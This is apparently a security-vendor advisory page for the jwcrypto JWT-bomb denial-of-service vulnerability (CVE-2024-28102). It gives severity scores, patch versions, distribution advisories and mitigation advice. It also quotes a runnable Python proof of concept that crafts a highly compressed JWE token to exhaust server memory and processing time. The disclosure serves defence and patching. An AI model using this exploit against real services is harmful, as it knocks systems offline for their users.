GHSA-j857-7rvv-vj97 is a medium-severity (CVSS 6.8) CWE-770 vulnerability in jwcrypto. A fix is available for jwcrypto — see the affected versions and patch details below.
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j857-7rvv-vj97.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-j857-7rvv-vj97 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
jwcryptoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Affected version
Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5
Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.
Poc
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))
payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"zip": "DEF",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print("-----uncompress-----")
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
print("-----compress-----")
payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
"alg": "RSA-OAEP-256",
"enc": "A256CBC-HS512",
"typ": "JWE",
"kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
recipient=public_key,
protected=protected_header)
enc = jwetoken.serialize(compact=True)
print(len(enc))
begin = time.time()
jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)
print(time.time() - begin)
It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">
Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.
References
[1] CVE-2024-21319
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | jwcrypto | all versions | 1.5.6pip install --upgrade 'jwcrypto==1.5.6' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jwcrypto, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update jwcrypto to 1.5.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j857-7rvv-vj97 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-j857-7rvv-vj97 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-j857-7rvv-vj97. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The CVE-2024-28102 vulnerability in JWCrypto represents a moderate severity issue due to its potential impact on system availability and resource consumption. While the vulnerability allows for a denial of service (DoS) attack, it requires an attacker to craft a malicious JWE Token with a high compression ratio. This…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.4 for RHEL 8 | automation-controller-0:4.5.8-1.el8ap | RHSA-2024:4522 |
| Red Hat Enterprise Linux 8 | idm:client-8100020240417004735.143e9e98 | RHSA-2024:3267 |
| Red Hat Enterprise Linux 9 | python-jwcrypto-0:0.8-5.el9_4 | RHSA-2024:2559 |
Frequently Asked Questions
Is GHSA-j857-7rvv-vj97 in your dependencies?
O3 Security finds GHSA-j857-7rvv-vj97 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.